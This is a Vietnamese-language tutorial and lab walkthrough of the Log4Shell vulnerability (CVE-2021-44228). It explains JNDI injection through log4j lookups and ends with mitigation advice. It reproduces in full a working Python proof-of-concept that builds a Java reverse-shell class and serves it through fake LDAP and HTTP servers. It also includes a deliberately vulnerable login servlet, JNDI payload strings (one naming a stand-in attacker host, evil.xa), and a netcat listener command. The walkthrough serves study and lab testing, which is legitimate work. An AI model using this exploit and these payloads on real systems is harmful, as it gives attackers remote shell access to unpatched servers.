# CVE-2021-44228 nickname "log4shell" - https://www.youtube.com/watch?v=ACZJFB-QE9Q&t=362s ## 1. Tổng quan lỗ hổng Log4Shell xảy ra ở thư viện log4j2 <= 2.14.1 với tính năng `lookup`, tính năng này cho phép hiển thị variales trong log, syntax thì tương tự như template language khi instructions nằm trong cặp ${...} ```java public class Log4ShellDemo { public static void main(String[] args) { Logger logg = LogManager.getLogger(); logg.error("Testing ${java:os}"); logg.error("${date:MM-dd-yyyy}"); } } ``` Kết quả: ![image](https://hackmd.io/_uploads/rJX1vMgpxe.png) Chức năng `lookup` không chỉ dừng lại ở việc xử lý các biến hay hàm trong java mà còn hỗ trợ xử lý `jndi` . Nếu ta truyền vào một đường dẫn jndi có thể khiến log4j load Java Object Vậy thì sẽ ra sao nếu ta khiến log4j tải về một lớp độc hại thông qua jndi, đó chính là idea của Log4Shell, thực hiện jndi injection với source nằm tại chức năng lookup . ### 1.1. Sơ đồ khai thác Để hiểu rõ về lỗ hổng, trước tiên chúng ta cần có cái nhìn tổng quan về quy trình lỗ hổng này bị khai thác: ![image](https://hackmd.io/_uploads/HyNfzk6oge.png) Trong sơ đồ trên, chúng ta có: - máy chủ mục tiêu (màu xám) - kẻ tấn công - máy chủ của kẻ tấn công (màu đỏ) Quy trình tấn công: 1. hacker dựng một máy chủ. Trên đó chạy ba dịch vụ: - LDAP - HTTP - server lắng nghe kết nối reverse shell 2. hacker gửi một request độc hại đến máy chủ mục tiêu. 3. máy chủ mục tiêu xử lý yêu cầu. 4. máy chủ mục tiêu tạo kết nối đến máy chủ của kẻ tấn công, tải về một payload. 5. máy chủ mục tiêu thực thi mã độc giấu trong payload. ### 1.2. Giới thiệu về log4j2 Log4j2 là một thư viện hỗ trợ ghi log, viết bằng ngôn ngữ Java, phân phối bởi Apache. Log4j2 được sử dụng rất rộng rãi. Ngoài log4j2 còn logback, java.util.logging... hỗ trợ việc ghi log. Độ phổ biến: Theo số liệu từ Sonatype, chỉ trong bốn tháng vừa qua, đã có 28.6 triệu lượt tải package log4j2 version 2.14.1, log4j là thư viện phổ biến thứ 25 trong danh sách được download và có khoảng 7000 thư viện sử dụng thư viện này. [1] Do đó, việc thư viện này dính lỗ hổng khiến cho rất nhiều thư viện và ứng dụng sử dụng nó bị ảnh hưởng. ### 1.3. Những phiên bản bị ảnh hưởng Hầu như tất cả version log4j2 đều bị ảnh hưởng: 2.0-beta9 --> 2.14.1 ### 1.5. Giới thiệu về JNDI, LDAP, sự liên quan đến log4j2 Để hiểu về CVE-2021-44228 cần hiểu về JNDI và LDAP. Thư viện log4j2 có một cơ chế cho phép lấy thông tin từ dịch vụ lưu trữ bên ngoài để hỗ trợ việc ghi log. Việc tương tác với các server này được thực hiện thông qua việc tận dụng API có tên 7 JNDI (Java naming and directory interface). Lỗ hổng đang được phân tích lợi dụng tính năng này để tải về và thực thi mã khai thác ### 1.5.1. Các khái niệm quan trọng Naming service: là dịch vụ lưu trữ thực hiện ánh xạ “tên” (names) với các giá trị (values) tương ứng. [6] Chúng hoạt động giống như một từ điển. Nếu không có naming service, mỗi thiết bị sẽ phải lưu danh sách ánh xạ trong máy mình do đó gây lãng phí tài nguyên. Ví dụ điển hình: DNS, server chứa tên đăng nhập - mật khẩu,... Directory service: giống naming service nhưng có thể lưu thêm các thuộc tính của các đối tượng cần truy vấn. ### 1.5.2. Các giao thức tương tác với directory service Có nhiều giao thức hỗ trợ giao tiếp với directory service: RMI, LDAP, CORBA nhưng LDAP dược lợi dụng để khai thác lỗ hổng CVE-2021-44228 do tương tác sử dụng giao thức RMI, CORBA đã bị kiểm soát chặt chẽ. Ví dụ về một đoạn code JNDI tương tác với server LDAP: ![image](https://hackmd.io/_uploads/BJxoJ-Jasgx.png) ### 1.5.3. Giới thiệu về JNDI reference Đặt vấn đề: - Để lưu một đối tượng Java vào một naming service, chúng ta có thể serialize đối tượng đó, tuy nhiên việc đó gây tốn tài nguyên và làm chậm quá trình do một đối tượng Java có thể rất lớn trong khi một naming service phải xử lý yêu cầu truy vấn trong thời gian ngắn nhất có thể. Giải pháp: - Chúng ta có thể load đối tượng Java đó một cách gián tiếp. Cụ thể, chúng ta query một bản ghi nhỏ có chứa thông tin về đối tượng đó (như địa chỉ host, tên class) để máy yêu cầu tiếp tục đi đến nơi cần thiết. Lúc này JNDI sẽ tải về file .class cần thiết và sử dụng factory để thực hiện tạo mới đối tượng thông qua phương thức ==constructor== được định nghĩa trong file .class đó. ![image](https://hackmd.io/_uploads/H1mLaXaslx.png) Log4j sử dụng API JNDI để nhận các dịch vụ đặt tên và thư mục từ một số cung cấp dịch vụ có sẵn như : LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), v.v. nếu chức năng này được triển khai, thì chúng ta nên đặt dòng mã này ở đâu đó trong chương trình: $ {jndi: logging / context-name} ![image](https://hackmd.io/_uploads/Hywsa7ajgx.png) Ví dụ một JNDI reference: ![image](https://hackmd.io/_uploads/ryoZh1Tjgl.png) Nội dung đối tượng "Exploit": ![image](https://hackmd.io/_uploads/Bk0h216sgg.png) Chúng ta có thể lợi dụng tính năng này để lừa ứng dụng có chứa lỗ hổng tải về đối tượng của chúng ta sau đó thực thi code trong đó như ví dụ trên. ## 2. Phân tích POC POC sử dụng: https://github.com/kozmer/log4j-shell-poc ### 2.1. Tổng quan Một kịch bản Log4J Bình thường ![image](https://hackmd.io/_uploads/Hk5GRXpoex.png) Khai thác tình huống Log4j ![image](https://hackmd.io/_uploads/HyKrRmajlg.png) ![image](https://hackmd.io/_uploads/rkd3BXpjlx.png) ![image](https://hackmd.io/_uploads/r1WOAy6igg.png) 1. Dữ liệu được gửi từ người dùng đến máy chủ (qua bất kỳ giao thức nào) 2. Server nhận request mà người dùng gửi lên có chứa mã độc ``${jndi:ldap://[evil.xa](<http://evil.xa>)/a}`` (evil.xa là server điều khiển của hacker. 3. Lỗ hổng log4j được kích hoạt bởi payload này và máy chủ tạo request tới evil.xa thông qua"Java Naming and Directory Interface" (JNDI). 4. Respone trả về chứa một đường dẫn đến tệp class Java từ xa (ví dụ: http://second-stage.evil.xa/Exploit.class) được chèn vào luồng xử lý của máy chủ. 5. Payload được truyền vào trong tệp class đã cho phép hacker thực thi các đoạn code tuỳ ý. ### 2.2. Mô tả luồng thực thi Kẻ tấn công gửi một input cho ứng dụng chứa lỗ hổng, kích hoạt code ghi log. Ví dụ: ``"${jndi:ldap://localhost:1389/a}"`` Thư viện log4j2 phân tích cú pháp, nhận thấy có yêu cầu lookup jndi (``“${jndi:...}”``), log4j2 gọi đến phương thức JndiLookup.lookup() và truyền vào tham số đường dẫn đến server LDAP. ![image](https://hackmd.io/_uploads/S107LXTsxl.png) Phương thức này gọi đến phương thức JndiManager.lookup() của thư viện JNDI. ![image](https://hackmd.io/_uploads/rJNuI7asxl.png) Từ đây, JNDI sẽ truy vấn dến server LDAP, lấy về đối tượng được truy vấn, phân tích đối tượng. JNDI nhận thấy có attribute “javaCodeBase” và “javaFactory” do đó sẽ thực hiện download đối tượng tại đường dẫn “javaCodeBase/javaFactory” (trong trường hợp này “http://localhost:8000/Exploit.class”). Cuối cùng, JNDI thực hiện khởi tạo đối tượng sử dụng phương thức constructor trong file “Exploit.class”. Mã nguồn: ![image](https://hackmd.io/_uploads/ByOAIX6sxe.png) Hoạt động: mở reverse shell đến “localhost:9001”. ### 2.3. Phân tích code chứa lỗ hổng Trong version log4j 2.14.1, không hề có đoạn code ngăn chặn việc sử dụng jndi để lấy dữ liệu từ bên ngoài cũng như việc kiểm tra địa chỉ server LDAP. Cụ thể, từ đoạn code thực hiện ghi log: ![image](https://hackmd.io/_uploads/HyTNwmasgl.png) Cho đến đoạn code thực hiện lấy dữ liệu về từ server LDAP, luồng thực thi không gặp một trở ngại gì: ![image](https://hackmd.io/_uploads/S1PLPmTsge.png) Để khắc phục điều này, trong bản cập nhật (version 2.17.0), trong file “JndiLookup.java” đã được thêm vào đoạn code: ![image](https://hackmd.io/_uploads/HJu_P76sle.png) Hoạt động: kiểm tra tính năng “jndi lookup” có được cho phép hay không. Nếu không, lập tức throw (raise) một exception khiến hoạt động lookup bị ngừng lại. ## 3. Cách khai thác Chuẩn bị - Máy tính tấn công: Kali Linux - Máy mục tiêu có cài đặt docker ### Download Tiến hành Trên máy mục tiêu: Tiến hành thiết lập lab bằng cách thực hiện lần lượt các lệnh dưới đây: ``` git clone https://github.com/kozmer/log4j-shell-poc.git cd log4j-shell-poc docker build -t log4j-shell-poc . docker run -d --name log4j -p 8899:8080 log4j-shell-poc ``` ![image](https://hackmd.io/_uploads/Syq42laoxg.png) ![image](https://hackmd.io/_uploads/BJzI2lTill.png) Sau khi hoàn thành cách lệnh trên, ứng dụng web tồn tại lỗ hổng đã sẵn sàng: ![image](https://hackmd.io/_uploads/HywD3xaigg.png) ```java package com.example.log4shell; import java.io.*; import javax.servlet.ServletException; import javax.servlet.http.*; import javax.servlet.annotation.*; import com.sun.deploy.net.HttpRequest; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; @WebServlet(name = "loginServlet", value = "/login") public class LoginServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String userName = req.getParameter("uname"); String password = req.getParameter("password"); resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); out.println("<html><body>"); if(userName.equals("admin") && password.equals("password")){ out.println("Welcome Back Admin"); } else{ // vulnerable code Logger logger = LogManager.getLogger(com.example.log4shell.log4j.class); logger.error(userName); out.println("<code> the password you entered was invalid, <u> we will log your information </u> </code>"); } } public void destroy() { } } ``` - lấy log username khi tài khoản đăng nhập không đúng ```java package com.example.log4shell; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); } ``` ![image](https://hackmd.io/_uploads/H1TS6g6sgg.png) ![image](https://hackmd.io/_uploads/BynL6gaslg.png) Trên máy tính tấn công: ``` git clone https://github.com/kozmer/log4j-shell-poc.git cd log4j-shell-poc pip install -r requirements.txt --break-system-packages ``` ![image](https://hackmd.io/_uploads/Ska0HxTjxl.png) Tải đúng jdk 8u20, jdk1.8.0_20/bin https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html. ![image](https://hackmd.io/_uploads/SyOwUxpsex.png) extract file jdk trong cùng thư mục với code python chạy ```java ❯ tar -xf jdk-8u20-linux-x64.tar.gz ❯ ./jdk1.8.0_20/bin/java -version java version "1.8.0_20" Java(TM) SE Runtime Environment (build 1.8.0_20-b26) Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode) ``` ![image](https://hackmd.io/_uploads/ryo6wgpjlg.png) Chạy netcat để lắng nghe kết nối trên cổng 9001 Start a netcat listener to accept reverse shell connection ``` nc -lnvp 9001 ``` ![image](https://hackmd.io/_uploads/SkjBOxpsxe.png) Launch the exploit. Note: For this to work, the extracted java archive has to be named: jdk1.8.0_20, and be in the same directory. ```java $ python3 poc.py --userip localhost --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up fake LDAP server [+] Send me: ${jndi:ldap://localhost:1389/a} Listening on 0.0.0.0:1389 ``` Tập lệnh này sẽ thiết lập máy chủ HTTP và máy chủ LDAP cho bạn, đồng thời tạo payload mà bạn có thể sử dụng để dán vào tham số dễ bị tấn công. Sau đó, nếu mọi thứ diễn ra tốt đẹp, bạn sẽ nhận được shell trên lport. ![image](https://hackmd.io/_uploads/HJYbYx6ixx.png) code khai thác ```python #!/usr/bin/env python3 import argparse from colorama import Fore, init import subprocess import threading from pathlib import Path import os from http.server import HTTPServer, SimpleHTTPRequestHandler CUR_FOLDER = Path(__file__).parent.resolve() def generate_payload(userip: str, lport: int) -> None: program = """ import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { public Exploit() throws Exception { String host="%s"; int port=%d; String cmd="/bin/sh"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } } """ % (userip, lport) # writing the exploit to Exploit.java file p = Path("Exploit.java") try: p.write_text(program) subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)]) except OSError as e: print(Fore.RED + f'[-] Something went wrong {e}') raise e else: print(Fore.GREEN + '[+] Exploit java class created success') def payload(userip: str, webport: int, lport: int) -> None: generate_payload(userip, lport) print(Fore.GREEN + '[+] Setting up LDAP server\n') # create the LDAP server on new thread t1 = threading.Thread(target=ldap_server, args=(userip, webport)) t1.start() # start the web server print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}") httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler) httpd.serve_forever() def check_java() -> bool: exit_code = subprocess.call([ os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'), '-version', ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) return exit_code == 0 def ldap_server(userip: str, lport: int) -> None: sendme = "${jndi:ldap://%s:1389/a}" % (userip) print(Fore.GREEN + f"[+] Send me: {sendme}\n") url = "http://{}:{}/#Exploit".format(userip, lport) subprocess.run([ os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"), "-cp", os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"), "marshalsec.jndi.LDAPRefServer", url, ]) def main() -> None: init(autoreset=True) print(Fore.BLUE + """ [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc """) parser = argparse.ArgumentParser(description='log4shell PoC') parser.add_argument('--userip', metavar='userip', type=str, default='localhost', help='Enter IP for LDAPRefServer & Shell') parser.add_argument('--webport', metavar='webport', type=int, default='8000', help='listener port for HTTP port') parser.add_argument('--lport', metavar='lport', type=int, default='9001', help='Netcat Port') args = parser.parse_args() try: if not check_java(): print(Fore.RED + '[-] Java is not installed inside the repository') raise SystemExit(1) payload(args.userip, args.webport, args.lport) except KeyboardInterrupt: print(Fore.RED + "user interrupted the program.") raise SystemExit(0) if __name__ == "__main__": main() ``` 1. generate_payload(userip, lport) - Sinh file Java (Exploit.java) — mã bên trong mở một shell (/bin/sh) và kết nối ngược về userip:lport (reverse shell). - Biên dịch Exploit.java bằng javac (sử dụng JDK kèm theo repo). 2. ldap_server(userip, lport) - Chuẩn bị chuỗi JNDI mà bạn sẽ “gửi” tới victim: ví dụ ``${jndi:ldap://<userip>:1389/a}`` (dòng Send me:). - Khởi marshalsec.jndi.LDAPRefServer (một tool Java phổ biến) với tham số URL pointing tới webserver `(http://<userip>:<webport>/#Exploit)`. Marshalsec sẽ trả reference JNDI mà khi client lookup sẽ cho JVM biết nơi lấy class. 3. payload(userip, webport, lport) - Gọi generate_payload() để tạo class. - Khởi thread chạy ldap_server() (spawn marshalsec LDAPRefServer). - Khởi một HTTP server Python (http.server.SimpleHTTPRequestHandler) trên webport để phục vụ file .class (Exploit.class). Đây là “codebase” mà JVM của victim sẽ tải. 4. `check_java()` - Kiểm tra có java (JDK) để chạy marshalsec và javac. 5. CLI `&` running - Script nhận tham số --userip, --webport, --lport để cấu hình nơi serve LDAP/HTTP và nơi shell sẽ connect về. ### Khai thác Để kích hoạt khai thác, cần tìm ra những input nào do người dùng cung cấp sẽ được log lại. Chúng thường là tên đăng nhập, email, số transaction, số cmnd (trong những ứng dụng quản lý),... Ví dụ với ứng dụng web, khi nhập tên đăng nhập: ![image](https://hackmd.io/_uploads/Byd5k-Tslg.png) Kết quả tên đăng nhập sẽ được log lại: ![image](https://hackmd.io/_uploads/HJZjk-pjel.png) Sau đó, chạy server LDAP và HTTP: Cuối cùng, đưa input dạng sau vào ứng dụng: ``${jndi:ldap://<attacker_address>:<ldap_port>/a}`` Lệnh trên sẽ tạo ra một máy chủ LDAP cục bộ độc hại. Sao chép giá trị đằng sau mục "Send me" và dán vào máy chủ web tồn tại lỗ hổng. Sau đó, click vào Login ```java python3 poc.py --userip 172.26.208.130 --lport 9001 --webport 8000 --lport 9001 ``` ![image](https://hackmd.io/_uploads/S1P6Obpjgx.png) ![image](https://hackmd.io/_uploads/Bk70O-aolg.png) ![image](https://hackmd.io/_uploads/HyH1Ybpieg.png) - Gửi payload và thấy RCE thành công ``` ${jndi:ldap://172.26.208.130:1389/a} ``` ![image](https://hackmd.io/_uploads/HkEGYWTjlg.png) Ngay khi ứng dụng web mục tiêu thực hiện việc ghi log, sẽ có kết nối đến ứng dụng netcat (từ reverse shel trên máy mục tiêu) đang đợi sẵn trên máy tấn công, cho phép chúng ta thực thi lệnh: ![image](https://hackmd.io/_uploads/SkcZY-Tsxx.png) ![image](https://hackmd.io/_uploads/rk0y5ZTjlg.png) ![image](https://hackmd.io/_uploads/SJSiFWTjxg.png) ![image](https://hackmd.io/_uploads/ByW55Z6ogx.png) ## Cách phòng tránh Nếu sử dụng một cách trực tiếp, chúng ta nên cập nhật log4j2 lên phiên bản mới nhất (2.17.1), hoặc nếu sử dụng log4j2 một cách gián tiếp (thông qua Apache web server, Ghidra, Minecraft server,...), chúng ta nên cập nhật những ứng dụng trên lên phiên bản mới nhất. Vô hiệu hóa remote class loading/JNDI bằng cờ JVM: ``` -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false ``` - https://cehvietnam.com/2021/12/26/huong-dan-thiet-lap-mo-hinh-lab-de-kiem-tra-tham-nhap-log4/